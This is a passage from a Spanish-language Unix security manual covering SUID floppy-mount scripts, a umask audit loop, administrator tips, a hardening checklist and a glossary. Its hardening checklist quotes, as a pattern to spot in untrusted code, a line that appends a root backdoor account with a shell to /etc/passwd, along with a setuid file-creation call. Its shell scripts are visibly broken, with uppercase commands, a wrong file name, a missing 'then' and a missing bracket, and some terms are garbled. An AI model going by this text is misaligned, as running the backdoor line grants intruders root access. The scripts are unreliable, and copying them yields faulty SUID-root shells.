7. Si hay varios usuarios en el sistema, se aseguran las conexiones entre el sistema y las terminales.

8. Generalmente un pequeño sistema tiene medios para remover la información (*floppies*) con el comando *mount*. Se checan los archivos */SUID/SGID/devices* sobre el *floppy* hasta que no haya basura almacenada.

```
#
# make this shell SUID to root
# and let your users run it with 'setsh'
#
PATH=/bin :/usr/bin :/ETC
IFS=" "
export PATH IFS
TRAP "RM /ETC/TMP.$$ ; EXIT" 1 2 3
ncheck -s /dev/floppy > /etc/tmp.$$
if [  -s /etc/tmp.$$ ]
then
        echo "ncheck found a strge file(s) :"
        cat /etc/tem.$$
elif mount /dev/floppy /floppy
        chown 'logname' /floppy
        chmod 700 /floppy
fi
rm  /etc/tmp.$$
```

El SUID del programa shell también se desmonta desde el floppy :

```
#
# make this shell SUID to root
# and let your users run it with 'setsh'
#
PATH=/bin/usr/bin:/etc
ifs= " "
export PATH IFS
unmount /dev/floppy
```

9. Los pequeños sistemas con frecuencia se administran por personas no expertas en sistema Unix, por lo contrario para administrar un gran sistema se necesitan contar con personal con la suficiente experiencia en el sistema Unix.

17.11. Lo que un usuario debe saber

Algunas de las funciones de un administrador de Unix es dar a conocer a los usuarios la seguridad que se maneja en los sistemas de la compañía. A veces se realiza por los Gerentes pero un administrador tiene la obligación de encontrar y reportar los problemas de seguridad en el sistema, además él es responsable de todas las operaciones.

El */etc/profile* es un buen lugar para crear archivos disfrazados (usando el *unmask*) que valúa como los usuarios se previenen desde que crean sus

archivos y la escritura de cada uno de ellos. El *unmask* 022 es adecuado para enmascarar un archivo nuevo. El *unmask* 026 se usa, cuando se desea que un archivo no se lea por otro usuario.

Periódicamente se checa la cadena de caracteres que utiliza el *unmask* de los usuarios en el *.profile.* El siguiente programa en el *shell* tiene una trampa para usuarios sospechosos:

```
#
# get home directories from /etc/passwd
#
cut -f6 -d : /etc/passwd
#
# process each user´s HOME directory
#
        while read home
        do
#
# if user has .profile, grep for unmask
#
        if [ -f "$home/.profile"
                then
                        echo $home
                        grep umask $home/.profile
                fi
        done
```

El administrador escogen usuarios aleatoriamente cada semana y realiza una auditoria de seguridad (usando la opción *-u user*). Envía el correo a cada usuario para informar sobre sus restricciones que tienen en el sistema. Estos procedimientos tiene cuatro objetivos :

1. Que los usuarios tienen la posibilidad de recibir su correo a través de un solo archivo.

2. Que los usuarios que cuentan con muchos archivos reciban el correo una vez a la semana.

3. Que los programas del SUID se listen por los propios usuarios, ya que mantienen su atención en ellos y desean estar enterados sobre los que se vayan creando.

4. Dar a conocer a los usuarios un listado de la administración de seguridad editada por los gerentes.

17.12. Lo que un administrador debe saber

La siguiente es una lista de sugerencias para los administradores que tengan a su cargo un grupo de gente :

1. No ejecutar los programas de otros usuarios desde *root* o por el mismo administrador.

2. No poner en directorios comunes el PATH. Esto disminuye el riesgo de que se active un caballo de Troya.

3. Al usar el */bin/su* invoca al *su*. Los usuarios y administradores deben tener el habito de mantener el mismo tipo en el */bin/su*.

4. No desarrollar en la terminal procesos especiales, por *root*. Hay que recordar, que *root* tiene el *prompt* en un #. Este es una bandera roja para ciertas personas.

5. No permitir el *root* en todo el tronco del sistema, sino solamente en la consola.

6. Cambiar frecuentemente el *password* de *root*.

7. Hacer seguro el tronco del *su* en el */usr/adm/sulog*. El cual es un buen lugar para identificar las personas dañinas al sistema e identificar los candidatos en los que se pueda ejecutar el caballo de Troya.

17.13. Guardando un sistema seguro

El siguiente es un resumen de las acciones que se consideran para tener un sistema más seguro:

I. Considerar algunas llaves vulnerables para el sistema :

   A. ¿ Se tiene algún modem ? ¿Se publican los números de estas líneas ?

B. ¿ Son atractivas las redes que se manejan ? ¿Quienes son atraídos hacia ellas ?

C. ¿Se utilizan programas desconocidos de fuentes que no sean dignas de confianza ?

D. ¿Se tiene información sensible en la máquina ?

E. ¿Se lleva a los usuarios novatos de la mano ?

F. ¿Los usuarios son precavidos en cuanto a la seguridad del sistema ?

G. ¿Son los usuarios o los administradores los encargados de la seguridad ?

II. Guardar la integridad del sistema de archivos en forma segura. Y checar sus permisos en todo el sistema de archivos.

III. Ser especialmente cuidadoso con los permisos en archivos nuevos.

IV. Desconfiar de los archivos contenidos en directorios de usuarios que están SUID/SGID para el *sistema ids/groups.*

V. No incluir a los usuarios en el *file system* fuera del primer chequeo de los programas *SUID/SGID.*

VI. Guardar los respaldos de disco en una área segura, a varios kilometros.

VII. Añadir la seguridad en los *password*, si se tiene el Unix original, encriptar los *password* y dar información de los archivos que son de lectura solamente para *root*. Cambiar y checar los nuevos *password* de los usuarios contra los del directorio del *shell* y la información personal de los usuarios en el */etc/password.*

VIII. Guardar los movimientos hechos por los usuarios, autorizados en el uso del sistema.

IX. Encontrar los *login* viejos e incapacitarlos.

X. Hacer más seguros los logins que no tengan *password*.

XI. Obtener Informes de cada turno de trabajo.

XII. Observar los modelos inusuales, por ejemplo : grandes cantidades de tiempo de acceso al CPU, demasiados procesos, muchos intentos al *su,* numerosos intentos inválidos a un login, mucho tráfico en la red en un sistema particular, requerir almacenamiento en el UUCP.

XIII. Modificar el *shell* en terminales que estén inactivas en cierto período.

XIV. Modificar el *login* para imprimir el tiempo en que el usuario estuvo dentro del sistema. Mantener la salida después de tres intentos inválidos.

XV. La modificación del *su* es solamente por *root*.

XVI. Si se instala el software desde una fuente que no sea digna de confianza, se necesita checar el código fuente y el *makefile* en una subrutina particular de llamadas o comandos,

```
creat("/usr/tmp/foo",6777) ;
o
echo "breakin : : 0 :0 :intruder :/ :/bin/sh" >> /etc/passwd
```

XVII. Al igual cuando se instala un software desde una fuente confiable, se observan los programas *SUID/SGID* y se asignan los permisos más seguros.

XVIII. Si el sistema esta en una oficina, se necesita poner una cerradura, o guardar todos los datos sensibles en floppies o cintas en un lugar seguro.

XIX. Hacer el *secure,* el *perms* y algunos otros *shell* de auditoria, ejecutables. Para mejorar la seguridad de toda la información almacenada en la oficina.

18

CONCLUSIÓN

18

CONCLUSIÓN

Las cuestiones de seguridad son esenciales para cualquier sistema no solamente para UNIX. Las precauciones de seguridad son bastante fuertes si se administran con cuidado y atención.

Como se ha mencionado el sistema UNIX proporciona a los usuarios diferentes herramientas y utilidades para realizar una variedad de trabajos. El sistema UNIX se utiliza por computadoras con muchos usuarios ó con un único usuario, ya que es un sistema multiusuario.

Debemos considerar que la mayoría de los asaltos a los sistemas se realiza por expertos en la materia, es por esto que se debe estar actualizado en cuanto a formas y métodos de proteger la información así como conocer el software del dominio público que existe en el mercado para la protección de datos.

19

GLOSARIO

19

GLOSARIO

Archivo.- Una secuencia de bytes dentro del sistema de archivos referenciada por su nombre de archivo. Los archivos son ordinarios, o especiales.

Archivos de contraseñas shadow.- Un archivo de seguridad que contiene información de contraseña utilizada por root para validar las contraseñas de los usuarios. Está característica impide que los usuarios obtengan contraseñas del archivo /etc/passswd.

Bloque.- Grupo de datos tratado como una unidad durante las operaciones de entrada/salida (E/S). Los dispositivos de disco y cinta se llaman "dispositivos de bloques", indicando que leen y escriben bloques de datos.

Caballo de Troya.- Un programa que se enmascara como otro programa y efectúa alguna función desconocida para la persona que lo ejecuta. Un virus se esparce mediante un programa llamado caballa de Troya.

Cifrado.- Codificación de los contenidos de archivos, mediante una clave, de modo que sean ilegibles, o al menos difíciles de leer, para cualquiera excepto por el usuario que los decodifica utilizando la clave original. Las facilidades de cifrado sirven como medida de seguridad para archivos críticos o sensibles.

Clase.- Un método de categorizar usuarios, dispositivos o procesos. El shell utiliza estas clases para autorizar acceso a archivos o programas.

Cliente.- En una red, un usuario de servicios o recursos disponibles sobre un servidor.

Compresión.-Un método de reducción de tamaño de archivos para almacenamiento. Los contenidos de los archivos son con frecuencia comprimidos utilizando un algoritmo para reemplazar código ASCII con palabras código de longitud variable.

Contraseña.- Una cadena de caracteres que se suministra durante la presentación. Las contraseñas proporcionan seguridad frente a accesos no autorizados.

Control de trabajos.- La capacidad de cambiar el estado de un proceso, incluyendo su suspensión, reanudación ó parada.

Copia de seguridad(Backup).- Salvar una copia de un archivo, directorio o sistema de archivos completo. Las copias de seguridad son importantes en caso de fallo del sistema.

Correo electrónico(e-mail).- Permite a los usuarios enviar mensajes a otros usuarios en otros sistemas de computadoras.

Descomprimir.- Devolver un archivo desde el estado comprimido hasta su estado normal, utilizando un algoritmo para deshacer la descompresión.

Dirección.- Un nombre que identifica una posición sobre una red de computadora, sobre un dispositivo periférico o en la memoria de la computadora.

Directorio.- Un directorio es un área que contiene archivos u otros directorios.

Directorio Raíz.- El directorio base (identificado como /) de un sistema.

Dispositivo.- Un equipo periférico utilizado en entrada o salida (E/S) de datos.

Finger.- Una orden que produce información de usuario detallada, tal como el nombre de presentación, el nombre real o presentación de entorno, acerca de un usuario real o remoto.

FTP.- (File Transfer Potocol), Un protocolo utilizado para transferir archivos entre máquinas en una red TCP/IP.

Gusano.- Un programa que replica una versión operativa de él mismo sobre otras redes y luego se ejecuta a sí mismo en esos entornos.

Herramienta.- Un programa o proceso que hace que la realización de una tarea sea más fácil.

ID de grupo.- Un número asignado a un usuario para especificar el grupo del usuario.

ID de presentación.- El nombre asignado a un usuario en un sistema informático. El programa de presentación del sistema UNIX solicita a los usuarios sus Ids de presentación.

Multitarea.- La capacidad de una computadora de ejecutar más de una tarea (proceso) a la vez.

Multiusuario.- La capacidad de una computadora de soportar más de un usuario conectado al sistema simultáneamente y proporcionar acceso a los mismos archivos o programas.

Permisos.- Grupos de códigos asociados con archivos y directorios que definen restricciones de lectura, escritura y ejecución.

Red.- Un grupo de computadoras conectadas directamente o por conexiones telefónicas. Los tamaños de las redes van desde local hasta redes de área extensa.

Sistema UUCP.- Un sistema de ordenes utilizado para comunicaciones entre computadoras, incluyendo transferencia de archivos, ejecución remota y emulación de terminal.

Software de dominio público.- Software que se utiliza por cualquiera, ya que el autor lo ha puesto a disposición de todos sin restricciones.

UNIX Sistema V/MLS.- Una versión del sistema operativo UNIX que satisface el nivel B1 de seguridad según lo define el Departamento de Defensa de los Estados Unidos.

Virus.- Una pieza de código que se liga a un programa y provoca una acción no pretendida por los usuarios o cuando estos acceden al programa que contiene el virus.